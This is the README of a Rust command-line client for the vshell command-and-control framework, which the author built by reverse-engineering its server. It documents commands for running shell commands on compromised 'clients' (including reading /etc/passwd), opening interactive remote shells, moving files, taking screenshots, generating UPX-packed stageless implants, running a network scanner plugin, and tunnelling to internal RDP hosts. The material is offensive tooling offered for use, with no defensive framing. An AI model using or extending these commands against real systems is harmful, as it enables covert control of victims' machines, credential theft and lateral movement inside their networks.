vshell-cli

A Rust CLI client for vshell 4.9.3, replacing the web frontend. Analyzed and built from reverse-engineering the master binary (v_windows_amd64.exe / v_linux_amd64, Go/beego) and its embedded Vue frontend. See API.md for the full HTTP API reference.

Features

• Auth: HTTP Basic + JWT login.
• Dashboard: system/license/client stats.
• Listener management: list / add / del / start / stop / remark.
• Client management: list (online/offline) / connect (正向连接,主动连 listen 客户端) / del / remark / kill process.
• Tunnel management: list / add / del / start / stop (forwarding tasks on an online client).
• Command execution (⭐): exec <id> <command> — non-interactive one-shot via POST /api/terminal/shell {id, command}. Verified working against a live client.
• Interactive shell: shell <id> — raw WebSocket terminal (/api/terminal/ws), xterm-style.
• File ops: ls / cat / edit / mkdir / touch / rm / mv / wget / disk / download / upload.
• Screenshot: capture a client screen.
• Client generation: gen <listenerId> — download a stageless client binary (supports --arch, --upx, --proxy).
• Plugins: list / run (runner).
• Settings: get / edit.

Build

Requires Rust 1.85+ (edition 2024).

cargo build --release
# binary: target/release/vshell-cli[.exe]

Usage

All commands take global auth flags (also settable via env: VSHELL_URL, VSHELL_USER, VSHELL_PASS):

vshell-cli -u <master-url> -n <user> -p <pass> <command>

Examples

# Dashboard
vshell-cli -u http://1.2.3.4:8082 -n admin -p 'pass' info

# Listeners
vshell-cli ... listener list
vshell-cli ... listener add --mode tcp --listen-addr 0.0.0.0:8084 --conn-addr 1.2.3.4:8084 --vkey myvkey --salt mysalt

# Clients
vshell-cli ... client list                 # online clients
vshell-cli ... client list --all           # include offline records
vshell-cli ... client connect --tp tcp --ip 10.0.0.5 --port 18084 --vkey myvkey --salt mysalt
vshell-cli ... client connect --tp tcp --ip 10.0.0.5 --port 18084 --vkey k --salt s --proxy socks5://127.0.0.1:1080

# Run a command on an online client (non-interactive)
vshell-cli ... exec 26 "id"
vshell-cli ... exec 26 uname -a          # flags ok (trailing var args)
vshell-cli ... exec 26 "cat /etc/passwd"

# Interactive shell over WebSocket
vshell-cli ... shell 26                   # Ctrl-] to exit

# Files
vshell-cli ... file ls 26 /
vshell-cli ... file cat 26 /etc/hostname
vshell-cli ... file upload 26 ./local.bin /remote/path
vshell-cli ... file download 26 /remote/file

# Generate a stageless client bound to listener 5
vshell-cli ... gen 5 --arch linux_amd64 --upx --out ./client
vshell-cli ... gen 5 --arch windows_amd64 --proxy 10.0.0.5:1080   # hardcode outbound proxy

# Screenshot
vshell-cli ... screenshot 26 --quality 60

# Plugins
vshell-cli ... plugin list
vshell-cli ... plugin run 26 fscan.x64.elf

# Tunnels (need an online client)
vshell-cli ... tunnel add --client-id 26 --mode tcp --tp tcp --port 0 --target 10.0.0.5:3389

Command execution design

vshell exposes two command-execution paths (see API.md §7):

1. POST /api/terminal/shell {id, command} — one-shot, returns stdout. Used by exec. Best for CLI / scripting. Verified working.
2. WebSocket /api/terminal/ws?id=<clientId>&token=<jwt> — interactive PTY, raw bytes. Used by shell. Good for shells that need a TTY.

exec is the recommended non-interactive path: it sends one command and prints the result. For commands starting with -, pass them after the id (trailing var args) or quote the whole command.

Notes

• Stageless clients don't read CLI args — ConnectAddr/Vkey are encrypted and hardcoded at generation time (read from the listener). Use gen to produce a client bound to a listener.
• Client ops require an online client — exec/file/screenshot/tunnel/plugin need an id pointing to an online client, else the API returns client is close / connection error. After a client reconnects, the file channel may take a moment to stabilize.
• File paths: the vshell file API splits a path into path (parent dir) + target (filename). The CLI accepts a full path (e.g. /tmp/fv/a.txt) and splits it internally. file mv takes the full source path plus the new name (file mv <id> /tmp/a.txt b.txt).
• gen --arch windows_amd64 requires the master to have a Windows client template (stageless/tcp_windows_amd64); the bundled linux master only ships linux templates.
• screenshot requires a client with a graphical session; headless clients return an error.
• Field naming: API uses Go PascalCase for JSON bodies (Mode, ListenAddr, ConnectAddr, Vkey, ClientId, Tp, ...); query params are lowercase (id, arch, upx, proxy).
• The CLI faithfully reports API error messages (some are Chinese, e.g. 未找到客户端).

Architecture

src/
  main.rs            — clap CLI definition + dispatch
  client.rs          — HTTP client (Basic auth + JWT, post/get helpers, ws_url)
  models.rs          — serde structs for Listener/Client/Tunnel/Plugin/Setting/Dashboard
  terminal.rs        — interactive WebSocket shell (raw mode, stdin/stdout bridge)
  commands/
    mod.rs           — shared helpers (report, print_value)
    info.rs          — dashboard
    listener.rs      — listener CRUD
    client.rs        — client list/del/remark/kill
    tunnel.rs        — tunnel CRUD
    exec.rs          — non-interactive command execution (terminal/shell)
    file.rs          — file ops (splits path into dir + target per vshell API)
    screenshot.rs    — screenshot capture
    generate.rs      — stageless client download (named generate; gen is reserved in ed. 2024)
    plugin.rs        — plugin list/run
    setting.rs       — settings get/set